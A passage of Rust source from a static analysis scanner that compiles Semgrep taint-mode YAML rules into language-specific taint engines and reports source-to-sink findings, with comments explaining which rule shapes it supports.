            description: description.clone(),
        },
        GenericMatcher::ObjectLiteralValue { description } => {
            php_taint::NodeMatcher::ObjectLiteralValue {
                description: description.clone(),
            }
        }
        GenericMatcher::ReturnValue { description } => php_taint::NodeMatcher::ReturnValue {
            description: description.clone(),
        },
    }
}

/// A compiled Semgrep `mode: taint` rule.
pub struct SemgrepTaintRule {
    pub id: String,
    pub message: String,
    pub severity: Severity,
    pub cwe: Option<String>,
    pub lang: Language,
    spec: GenericSpec,
}

/// Unified view over the three engine-specific `TaintFinding` types.
struct TaintFindingView {
    sink_start_byte: usize,
    sink_line: usize,
    sink_column: usize,
    sink_end_line: usize,
    sink_end_column: usize,
    source_description: String,
    sink_description: String,
    source_line: usize,
    hops: u8,
}

impl TaintFindingView {
    fn from_python(f: python_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_js(f: javascript_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_go(f: go_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_java(f: java_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_c(f: c_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_kotlin(f: kotlin_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_ruby(f: ruby_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_php(f: php_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_csharp(f: csharp_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_bash(f: bash_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_solidity(f: solidity_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_scala(f: scala_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_apex(f: apex_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
    fn from_swift(f: swift_taint::TaintFinding) -> Self {
        Self {
            sink_start_byte: f.sink_start_byte,
            sink_line: f.sink_line,
            sink_column: f.sink_column,
            sink_end_line: f.sink_end_line,
            sink_end_column: f.sink_end_column,
            source_description: f.source_description,
            sink_description: f.sink_description,
            source_line: f.source_line,
            hops: f.hops,
        }
    }
}

impl Rule for SemgrepTaintRule {
    fn id(&self) -> &str {
        &self.id
    }
    fn severity(&self) -> Severity {
        self.severity
    }
    fn cwe(&self) -> Option<&str> {
        self.cwe.as_deref()
    }
    fn description(&self) -> &str {
        &self.message
    }
    fn language(&self) -> Language {
        self.lang
    }

    fn check(&self, source: &str, tree: &tree_sitter::Tree) -> Vec<Finding> {
        self.check_with_context(source, tree, &FileContext::default())
    }

    fn ast_analysis_requirement(&self) -> crate::rules::AstAnalysisRequirement {
        crate::rules::AstAnalysisRequirement::FileContext
    }

    fn check_with_context(
        &self,
        source: &str,
        tree: &tree_sitter::Tree,
        ctx: &FileContext<'_>,
    ) -> Vec<Finding> {
        // Dispatch to the appropriate taint engine based on the rule's
        // target language. Each engine returns the same TaintFinding shape.
        let raw: Vec<TaintFindingView> = match self.lang {
            Language::Python => {
                let spec = to_python_spec(&self.spec);
                python_taint::analyze_tree(tree.root_node(), source, &spec, ctx.python_aliases)
                    .into_iter()
                    .map(TaintFindingView::from_python)
                    .collect()
            }
            Language::JavaScript => {
                let spec = to_js_spec(&self.spec);
                javascript_taint::analyze_tree(
                    tree.root_node(),
                    source,
                    &spec,
                    ctx.javascript_aliases,
                )
                .into_iter()
                .map(TaintFindingView::from_js)
                .collect()
            }
            Language::Go => {
                let spec = to_go_spec(&self.spec);
                go_taint::analyze_tree(tree.root_node(), source, &spec, ctx.go_aliases)
                    .into_iter()
                    .map(TaintFindingView::from_go)
                    .collect()
            }
            Language::Java => {
                let spec = to_java_spec(&self.spec);
                java_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_java)
                    .collect()
            }
            Language::C => {
                let spec = to_c_spec(&self.spec);
                c_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_c)
                    .collect()
            }
            Language::Kotlin => {
                let spec = to_kotlin_spec(&self.spec);
                kotlin_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_kotlin)
                    .collect()
            }
            Language::Ruby => {
                let spec = to_ruby_spec(&self.spec);
                ruby_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_ruby)
                    .collect()
            }
            Language::Php => {
                let spec = to_php_spec(&self.spec);
                php_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_php)
                    .collect()
            }
            Language::CSharp => {
                let spec = to_csharp_spec(&self.spec);
                csharp_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_csharp)
                    .collect()
            }
            Language::Bash => {
                let spec = to_bash_spec(&self.spec);
                bash_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_bash)
                    .collect()
            }
            Language::Solidity => {
                let spec = to_solidity_spec(&self.spec);
                solidity_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_solidity)
                    .collect()
            }
            Language::Scala => {
                let spec = to_scala_spec(&self.spec);
                scala_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_scala)
                    .collect()
            }
            Language::Apex => {
                let spec = to_apex_spec(&self.spec);
                apex_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_apex)
                    .collect()
            }
            Language::Swift => {
                let spec = to_swift_spec(&self.spec);
                swift_taint::analyze_tree(tree.root_node(), source, &spec, None)
                    .into_iter()
                    .map(TaintFindingView::from_swift)
                    .collect()
            }
            _ => Vec::new(),
        };
        raw.into_iter()
            .map(|t| Finding {
                rule_id: self.id.clone(),
                severity: self.severity,
                cwe: self.cwe.clone(),
                description: format!(
                    "{}{} reaches {}",
                    self.message, t.source_description, t.sink_description
                ),
                file: String::new(),
                line: t.sink_line,
                column: t.sink_column,
                end_line: t.sink_end_line,
                end_column: t.sink_end_column,
                snippet: get_source_line(source, t.sink_start_byte),
                source_line: Some(t.source_line),
                source_description: Some(t.source_description),
                sink_line: Some(t.sink_line),
                sink_description: Some(t.sink_description),
                fix_suggestion: None,
                sink_start_byte: None,
                sink_end_byte: None,
                confidence: crate::rules::common::confidence_for_hops(t.hops),
                taint_hops: Some(t.hops),
                tags: vec![],
                crypto_algorithm: None,
                cnsa2_deadline: None,
                dep_name: None,
                dep_version: None,
                dep_ecosystem: None,
                dep_purl: None,
                dep_vulnerability_id: None,
                dep_fixed_version: None,
                dep_source: None,
                dep_vulnerability_severity: None,
                dep_path: vec![],
            })
            .collect()
    }
}

// ─── YAML → TaintSpec compilation ─────────────────────────────────────────

/// Outcome of trying to parse a single YAML rule as a taint rule.
pub enum TaintRuleParse {
    /// The rule is `mode: taint` and was compiled successfully.
    Compiled(SemgrepTaintRule),
    /// The rule is `mode: taint` but we could not compile it (bad language,
    /// unsupported pattern syntax, missing required sections, …). The caller
    /// should surface the warning and skip the rule.
    Skip(String),
    /// The rule is *not* `mode: taint`. The caller should fall through to
    /// its existing pattern-rule handling path.
    NotTaint,
}

/// Attempt to parse a single Semgrep YAML rule as a `mode: taint` rule.
///
/// Returns [`TaintRuleParse::NotTaint`] when the rule does not declare
/// `mode: taint`, so the caller can keep running its normal pattern-rule
/// compilation without an early exit.
pub fn parse_taint_rule(yaml: &YamlValue) -> TaintRuleParse {
    // Only engage for rules that explicitly declare `mode: taint`.
    let mode = yaml.get("mode").and_then(YamlValue::as_str);
    if mode != Some("taint") {
        return TaintRuleParse::NotTaint;
    }

    let id = match yaml.get("id").and_then(YamlValue::as_str) {
        Some(s) => s.to_string(),
        None => return TaintRuleParse::Skip("taint rule missing `id`".into()),
    };

    // Determine the target language. We support Python, JavaScript/TypeScript,
    // Go, Java, C, and Kotlin. The first recognised language wins.
    let lang = match yaml.get("languages").and_then(YamlValue::as_sequence) {
        Some(langs) => {
            let mut detected: Option<Language> = None;
            for s in langs.iter().filter_map(YamlValue::as_str) {
                match s.to_lowercase().as_str() {
                    "python" | "py" => {
                        detected = Some(Language::Python);
                        break;
                    }
                    "javascript" | "js" | "typescript" | "ts" => {
                        detected = Some(Language::JavaScript);
                        break;
                    }
                    "go" | "golang" => {
                        detected = Some(Language::Go);
                        break;
                    }
                    "java" => {
                        detected = Some(Language::Java);
                        break;
                    }
                    "c" => {
                        detected = Some(Language::C);
                        break;
                    }
                    "kotlin" | "kt" => {
                        detected = Some(Language::Kotlin);
                        break;
                    }
                    "ruby" | "rb" => {
                        detected = Some(Language::Ruby);
                        break;
                    }
                    "php" => {
                        detected = Some(Language::Php);
                        break;
                    }
                    "csharp" | "cs" | "c#" => {
                        detected = Some(Language::CSharp);
                        break;
                    }
                    "bash" | "sh" | "shell" => {
                        detected = Some(Language::Bash);
                        break;
                    }
                    "solidity" | "sol" => {
                        detected = Some(Language::Solidity);
                        break;
                    }
                    "scala" => {
                        detected = Some(Language::Scala);
                        break;
                    }
                    "apex" => {
                        detected = Some(Language::Apex);
                        break;
                    }
                    "swift" => {
                        detected = Some(Language::Swift);
                        break;
                    }
                    _ => {}
                }
            }
            match detected {
                Some(l) => l,
                None => {
                    return TaintRuleParse::Skip(format!(
                        "taint rule `{}` targets unsupported languages; Python, JavaScript/TypeScript, Go, Java, C, Kotlin, Ruby, PHP, C#, Bash, Solidity, Scala, Apex, and Swift are supported",
                        id
                    ));
                }
            }
        }
        None => return TaintRuleParse::Skip(format!("taint rule `{}` missing `languages`", id)),
    };

    let message = yaml
        .get("message")
        .and_then(YamlValue::as_str)
        .unwrap_or("")
        .to_string();

    let severity_str = yaml
        .get("severity")
        .and_then(YamlValue::as_str)
        .unwrap_or("WARNING");
    let severity = map_severity(severity_str);

    let cwe = extract_cwe(yaml);

    // ── Compile sources ────────────────────────────────────────────────
    let sources =
        match compile_matcher_list(yaml.get("pattern-sources"), MatcherRole::Source, &id, lang) {
            Ok(v) => v,
            Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
        };
    if sources.is_empty() {
        return TaintRuleParse::Skip(format!(
            "taint rule `{}` has no valid `pattern-sources`",
            id
        ));
    }

    let sinks = match compile_matcher_list(yaml.get("pattern-sinks"), MatcherRole::Sink, &id, lang)
    {
        Ok(v) => v,
        Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
    };
    if sinks.is_empty() {
        return TaintRuleParse::Skip(format!("taint rule `{}` has no valid `pattern-sinks`", id));
    }

    let sanitizers = match compile_matcher_list(
        yaml.get("pattern-sanitizers"),
        MatcherRole::Sanitizer,
        &id,
        lang,
    ) {
        Ok(v) => v,
        Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
    };

    TaintRuleParse::Compiled(SemgrepTaintRule {
        id: format!("semgrep/{}", id),
        message,
        severity,
        cwe,
        lang,
        spec: GenericSpec {
            sources,
            sinks,
            sanitizers,
        },
    })
}

#[derive(Copy, Clone)]
enum MatcherRole {
    Source,
    Sink,
    Sanitizer,
}

impl MatcherRole {
    fn label(self) -> &'static str {
        match self {
            MatcherRole::Source => "pattern-sources",
            MatcherRole::Sink => "pattern-sinks",
            MatcherRole::Sanitizer => "pattern-sanitizers",
        }
    }
}

/// Compile a top-level `pattern-sources` / `pattern-sinks` /
/// `pattern-sanitizers` list.
///
/// Each entry is allowed to be either:
///
/// - a mapping with a single `pattern:` key (compiled to one [`NodeMatcher`]),
/// - a mapping with a single `pattern-either:` key whose value is itself a
///   list of entries following the same rules (flattened recursively into
///   multiple matchers).
///
/// Any other key (`patterns:`, `pattern-inside:`, `metavariable-pattern:`,
/// …) is rejected with a warning that names the rule and the offending key,
/// and the individual entry is skipped. If the role ends up with *no* valid
/// entries the caller decides whether that is fatal for the whole rule
/// (sources and sinks are required; sanitizers may legitimately be empty).
fn compile_matcher_list(
    node: Option<&YamlValue>,
    role: MatcherRole,
    rule_id: &str,
    lang: Language,
) -> Result<Vec<GenericMatcher>, String> {
    let Some(node) = node else {
        return Ok(Vec::new());
    };
    let Some(entries) = node.as_sequence() else {
        return Err(format!("{} must be a list", role.label()));
    };

    let mut out = Vec::new();
    for entry in entries {
        compile_entry(entry, role, rule_id, lang, &mut out);
    }
    Ok(out)
}

/// Compile a single entry from a source/sink/sanitizer list, flattening
/// nested `pattern-either:` blocks, and extracting expressible matchers from
/// `patterns:` AND-blocks. Invalid entries emit a warning and are skipped
/// rather than aborting the whole rule.
fn compile_entry(
    entry: &YamlValue,
    role: MatcherRole,
    rule_id: &str,
    lang: Language,
    out: &mut Vec<GenericMatcher>,
) {
    let Some(map) = entry.as_mapping() else {
        eprintln!(
            "Warning: taint rule `{}` {} entry is not a mapping; skipping",
            rule_id,
            role.label()
        );
        return;
    };

    // `by-side-effect:` is a Semgrep taint-source flag (the *side-effect* of the
    // matched expression is the source, not its value). The compiled matcher
    // shape is the same either way, so we treat the flag as a no-op marker and
    // compile the companion `pattern:`/`patterns:`/`pattern-either:` key. Drop
    // the flag from the key count so an entry like
    // `{ by-side-effect: true, pattern: ... }` is not mis-rejected as multi-key.
    let effective_keys: Vec<(&YamlValue, &YamlValue)> = map
        .iter()
        .filter(|(k, _)| k.as_str() != Some("by-side-effect"))
        .collect();

    // Entries are expected to carry exactly one top-level key (after dropping
    // the `by-side-effect` flag). Having more than one suggests the user meant
    // `patterns:` semantics, which we don't support inside taint blocks — warn
    // and skip.
    if effective_keys.len() != 1 {
        eprintln!(
            "Warning: taint rule `{}` {} entry has {} keys (expected a single `pattern:`, `pattern-either:`, or `patterns:`); skipping entry",
            rule_id,
            role.label(),
            effective_keys.len(),
        );
        return;
    }

    let (k, v) = effective_keys[0];
    match k.as_str() {
        Some("pattern") => {
            let Some(pattern) = v.as_str() else {
                eprintln!(
                    "Warning: taint rule `{}` {} `pattern:` value must be a string; skipping entry",
                    rule_id,
                    role.label()
                );
                return;
            };
            match compile_pattern(pattern, role, lang) {
                Some(m) => out.push(m),
                None => eprintln!(
                    "Warning: taint rule `{}` {} unsupported pattern shape `{}`; skipping entry",
                    rule_id,
                    role.label(),
                    pattern
                ),
            }
        }
        Some("pattern-either") => {
            let Some(inner) = v.as_sequence() else {
                eprintln!(
                    "Warning: taint rule `{}` {} `pattern-either:` must be a list; skipping",
                    rule_id,
                    role.label()
                );
                return;
            };
            if inner.is_empty() {
                eprintln!(
                    "Warning: taint rule `{}` {} `pattern-either:` is empty; producing no matchers",
                    rule_id,
                    role.label()
                );
                return;
            }
            for nested in inner {
                compile_entry(nested, role, rule_id, lang, out);
            }
        }
        Some("patterns") => {
            // ── Parameter-as-source shape (focus-metavariable + a function-
            //    signature `pattern-inside`/`pattern`) ─────────────────────
            //
            // The dominant rejected taint-source shape is "a parameter of the
            // enclosing handler/function is user-controlled", written as
            //
            //   patterns:
            //     - pattern-inside: |
            //         function ... (..., $ARG, ...) { ... }
            //     - focus-metavariable: $ARG
            //
            // or the AWS-Lambda variant `pattern: $EVENT` + a
            // `pattern-either:` of `pattern-inside` handler signatures binding
            // `$EVENT` as a parameter. None of the generic node shapes express
            // this, so the block compiles to nothing and the rule is rejected.
            //
            // When the block is the parameter-as-source shape we compile it to
            // a single any-parameter wildcard source
            // (`ParamName { names: [ANY_PARAM_WILDCARD] }`); each engine seeds
            // every function parameter as tainted (see
            // `taint_engine::param_names_are_wildcard`). Only meaningful as a
            // SOURCE — a parameter is a taint origin, not a destination.
            if let MatcherRole::Source = role {
                if try_compile_param_source_block(v, out) {
                    return;
                }
            }
            // ── Focus-on-call-argument SINK shape (the sink-side analog of the
            //    parameter-as-source shape) ──────────────────
            //
            // A common rejected sink shape names a focused metavariable that is
            // an ARGUMENT of a call given by a `pattern-inside`/`pattern`
            // context, e.g.
            //
            //   patterns:
            //     - pattern-inside: redirect_to $X, ...
            //     - pattern: $X
            //
            //   patterns:
            //     - pattern: $RES.$METH($QUERY, ...)
            //     - metavariable-regex: { metavariable: $METH, regex: ^(sendFile)$ }
            //     - focus-metavariable: $QUERY
            //
            // Semgrep means "the focused argument, when it appears inside this
            // call, is a sink". The dropped-constraint fallback empties the sink
            // role (no bare metavar is a usable sink), rejecting the rule. We
            // compile the call context to the existing `Call`/`MethodName` sink
            // matcher (which already fires only when a tainted value reaches the
            // call's arguments), gated by the method-name `metavariable-regex`
            // where present. Sink/sanitizer only — a call argument is a data-flow
            // destination, not a taint origin.
            if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
                if try_compile_focus_call_sink_block(v, role, lang, out) {
                    return;
                }
            }
            // ── Regex-bounded bare-metavar callee SINK shape ────────────────
            //
            // A `patterns:` AND-block that pairs a bare-metavariable callee
            // pattern with a `metavariable-regex` pinning that metavariable,
            // e.g.
            //
            //   patterns:
            //     - pattern: $EXEC(...)
            //     - metavariable-regex: { metavariable: $EXEC, regex: ^(system|exec)$ }
            //
            //   patterns:
            //     - pattern: $WRITER.$WRITE(...)
            //     - metavariable-regex: { metavariable: $WRITE, regex: ^(writerow)$ }
            //
            // Without the `metavariable-regex` a bare-metavar callee would
            // match every call (universal → FP) and is refused. WITH the pin
            // the match is bounded to callees whose name matches the regex, so
            // we compile a name-constrained `CallRegex`/`MethodNameRegex`
            // matcher that enforces the regex at match time. Sink/sanitizer
            // only — a call argument is a data-flow destination, not an origin.
            if let MatcherRole::Sink | MatcherRole::Sanitizer = role {
                if try_compile_regex_constrained_callee_block(v, role, rule_id, out) {
                    return;
                }
            }
            // `patterns:` is a Semgrep AND-block: all sub-items must hold
            // simultaneously. foxguard's taint engine cannot express all AND
            // semantics (no nested scope / contextual constraints), so we
            // apply a graceful-degradation strategy:
            //
            // - Extract every `pattern:` and `pattern-either:` sub-item and
            //   compile them as expressible node-shape matchers.
            // - Drop constraint-only sub-items (`pattern-inside:`,
            //   `pattern-not:`, `focus-metavariable:`, `metavariable-*:`)
            //   with a per-key warning. This makes the compiled matcher
            //   slightly BROADER than the original Semgrep rule — documented
            //   in COMPATIBILITY.md.
            // - If no expressible matcher results, warn-skip the whole entry.
            compile_patterns_block(v, role, rule_id, lang, out);
        }
        Some(other) => {
            eprintln!(
                "Warning: taint rule `{}` {} uses unsupported key `{}` (only `pattern:`, `pattern-either:`, and `patterns:` are supported); skipping entry",
                rule_id,
                role.label(),
                other
            );
        }
        None => {
            eprintln!(
                "Warning: taint rule `{}` {} entry has a non-string key; skipping",
                rule_id,
                role.label()
            );
        }
    }
}

/// The set of sub-item keys inside a `patterns:` block that are purely
/// constraint/narrowing operators — they refine the match scope but do not
/// themselves name a code node shape. The taint engine has no equivalent;
/// they are dropped with a warning, making the compiled matcher broader.
const PATTERNS_CONSTRAINT_KEYS: &[&str] = &[
    "pattern-inside",
    "pattern-not-inside",
    "pattern-not",
    "pattern-not-regex",
    "focus-metavariable",
    "metavariable-regex",
    "metavariable-comparison",
    "metavariable-pattern",
    "metavariable-analysis",
    "metavariable-type",
];

/// Compile a `patterns:` AND-block value (the list under the `patterns:` key)
/// by extracting all expressible `pattern:` and `pattern-either:` sub-items.
/// Constraint-only sub-items are dropped with a warning. If no expressible
/// matcher is produced the whole entry is warn-skipped.
fn compile_patterns_block(
    v: &YamlValue,
    role: MatcherRole,
    rule_id: &str,
    lang: Language,
    out: &mut Vec<GenericMatcher>,
) {
    let Some(inner) = v.as_sequence() else {
        eprintln!(
            "Warning: taint rule `{}` {} `patterns:` value must be a list; skipping entry",
            rule_id,
            role.label()
        );
        return;
    };

    if inner.is_empty() {
        eprintln!(
            "Warning: taint rule `{}` {} `patterns:` block is empty; skipping entry",
            rule_id,
            role.label()
        );
        return;
    }

    let before = out.len();

    for sub in inner {
        let Some(sub_map) = sub.as_mapping() else {
            continue;
        };
        if sub_map.len() != 1 {
            continue;
        }
        let (sk, sv) = sub_map.iter().next().expect("len == 1");
        match sk.as_str() {
            Some("pattern") | Some("pattern-either") => {
                // Recursively compile via the normal entry path.
                compile_entry(sub, role, rule_id, lang, out);
            }
            Some(constraint_key) if PATTERNS_CONSTRAINT_KEYS.contains(&constraint_key) => {
                // Constraint-only key — drop with a warning (documented broadening).
                eprintln!(
                    "Warning: taint rule `{}` {} `patterns:` block contains `{}` \
                     which foxguard cannot enforce inside a taint source/sink entry; \
                     dropping constraint (matcher will be broader than the original rule)",
                    rule_id,
                    role.label(),
                    constraint_key
                );
                let _ = sv; // sv is not used beyond the warning
            }
            Some(other) => {
                eprintln!(
                    "Warning: taint rule `{}` {} `patterns:` block contains unknown key `{}`; \
                     skipping sub-item",
                    rule_id,
                    role.label(),
                    other
                );
            }
            None => {}
        }
    }

    if out.len() == before {
        eprintln!(
            "Warning: taint rule `{}` {} `patterns:` block produced no expressible matchers; \
             skipping entry",
            rule_id,
            role.label()
        );
    }
}

/// Try to recognise the "parameter-as-source" shape in a `patterns:` source
/// block and, if found, push a single any-parameter wildcard source matcher.
///
/// Returns `true` (and pushes one matcher) when the block both:
///   1. names a seed metavariable `$X` — either as a `focus-metavariable: $X`
///      sub-item, or as a bare `pattern: $X` sub-item; and
///   2. contains a function-signature context (a `pattern:` or
///      `pattern-inside:` whose text declares a function/method whose
///      *parameter list* contains that same `$X`).
///
/// Discipline: we require the seed metavariable to appear *inside a parameter
/// list* of a function-definition pattern in the SAME block, so we never seed
/// "all parameters" off an unrelated metavariable. The compiled source is the
/// [`ANY_PARAM_WILDCARD`] sentinel — engines seed every function parameter as
/// tainted, matching Semgrep's any-parameter semantics for this shape.
///
/// Returns `false` (and pushes nothing) for any other block shape, leaving the
/// caller to fall through to the normal graceful-degradation extraction.
fn try_compile_param_source_block(v: &YamlValue, out: &mut Vec<GenericMatcher>) -> bool {
    let Some(items) = v.as_sequence() else {
        return false;
    };

    // Collect, across the whole block (recursing into pattern-either), the set
    // of focus/bare-pattern seed metavariables and the set of function-signature
    // pattern texts.
    let mut seeds: Vec<String> = Vec::new();
    let mut signature_texts: Vec<String> = Vec::new();
    collect_param_source_parts(items, &mut seeds, &mut signature_texts);

    if seeds.is_empty() || signature_texts.is_empty() {
        return false;
    }

    // The seed metavariable must appear as a parameter of at least one
    // function-signature context in the block.
    let matched = seeds.iter().any(|seed| {
        signature_texts
            .iter()
            .any(|sig| signature_has_param(sig, seed))
    });
    if !matched {
        return false;
    }

    out.push(GenericMatcher::ParamName {
        names: vec![crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()],
        description: "untrusted function parameter".to_string(),
    });
    true
}

/// Walk a `patterns:` block (and nested `pattern-either:` lists) collecting
/// seed metavariables (`focus-metavariable: $X` and bare `pattern: $X`) and the
/// text of function-signature contexts (`pattern:` / `pattern-inside:` whose
/// value is a multi-line function definition).
fn collect_param_source_parts(
    items: &[YamlValue],
    seeds: &mut Vec<String>,
    signature_texts: &mut Vec<String>,
) {
    for item in items {
        let Some(map) = item.as_mapping() else {
            continue;
        };
        for (k, val) in map {
            match k.as_str() {
                Some("focus-metavariable") => {
                    if let Some(s) = val.as_str() {
                        let mv = s.trim();
                        if is_metavariable(mv) {
                            seeds.push(mv.to_string());
                        }
                    }
                }
                Some("pattern") => {
                    if let Some(s) = val.as_str() {
                        let t = s.trim();
                        if is_metavariable(t) {
                            seeds.push(t.to_string());
                        } else if is_function_definition_pattern(t) {
                            signature_texts.push(t.to_string());
                        }
                    }
                }
                Some("pattern-inside") => {
                    if let Some(s) = val.as_str() {
                        if is_function_definition_pattern(s) {
                            signature_texts.push(s.to_string());
                        }
                    }
                }
                Some("pattern-either") => {
                    if let Some(seq) = val.as_sequence() {
                        collect_param_source_parts(seq, seeds, signature_texts);
                    }
                }
                Some("patterns") => {
                    if let Some(seq) = val.as_sequence() {
                        collect_param_source_parts(seq, seeds, signature_texts);
                    }
                }
                _ => {}
            }
        }
    }
}

/// True when `pat` looks like a function/method definition pattern: it declares
/// a function with a parameter list. We accept the common cross-language
/// keywords plus the assignment-to-function form (`exports.handler = function
/// (...)`, `$F = function (...)`), requiring a `(` ... `)` parameter list.
fn is_function_definition_pattern(pat: &str) -> bool {
    let p = pat.trim();
    if !(p.contains('(') && p.contains(')')) {
        return false;
    }
    // A leading definition keyword anywhere in the (possibly multi-line) pattern.
    p.contains("function")                       // JS/TS/PHP
        || p.contains("func ")                   // Go
        || p.starts_with("def ")
        || p.contains("\ndef ")                  // Python/Ruby/Scala
        || p.contains("fun ")                    // Kotlin
        || p.contains("=>")                      // arrow / lambda
        // A Java/C-style typed method signature: `$T $M(...) { ... }` — a
        // metavariable or identifier return type followed by a name and a
        // parameter list and a brace body.
        || (p.contains('{') && p.contains('$'))
}

/// True when the function-signature pattern `sig` lists `seed` (a metavariable
/// like `$ARG`) inside its FIRST parameter list `( ... )`. This bounds the
/// any-parameter seed to a metavariable that is genuinely a parameter, so we
/// never seed off an unrelated metavariable elsewhere in the pattern.
fn signature_has_param(sig: &str, seed: &str) -> bool {
    let Some(open) = sig.find('(') else {
        return false;
    };
    // Find the matching close paren for this first '(' (balanced).
    let bytes = sig.as_bytes();
    let mut depth = 0i32;
    let mut close = None;
    for (i, &b) in bytes.iter().enumerate().skip(open) {
        match b {
            b'(' => depth += 1,
            b')' => {
                depth -= 1;
                if depth == 0 {
                    close = Some(i);
                    break;
                }
            }
            _ => {}
        }
    }
    let Some(close) = close else {
        return false;
    };
    let params = &sig[open + 1..close];
    // Token-boundary match so `$ARG` does not match `$ARGUMENT`.
    params
        .split(|c: char| !is_ident_char(c) && c != '$')
        .any(|tok| tok == seed)
}

/// Try to recognise the "focus-on-call-argument" SINK shape in a `patterns:`
/// sink/sanitizer block and, if found, push the call's `Call`/`MethodName`
/// matcher(s). Returns `true` (and pushes ≥1 matcher) on recognition.
///
/// Recognition is the sink-side analog of [`try_compile_param_source_block`]:
///   1. the block names a focused metavariable `$F` — via `focus-metavariable:
///      $F` or a bare `pattern: $F`; and
///   2. the block carries a CALL context (a `pattern:` or `pattern-inside:`
///      whose text is a call) whose ARGUMENT LIST contains that `$F` (literally,
///      or via a `...`/metavariable wildcard arg list — "an argument of the
///      call").
///
/// The call's callee is compiled to a sink matcher:
///   - a concrete callee (`redirect_to(...)`, `render(...)`) → one `Call`;
///   - a `$RECV.$METH(...)` callee whose `$METH` is pinned by an anchored
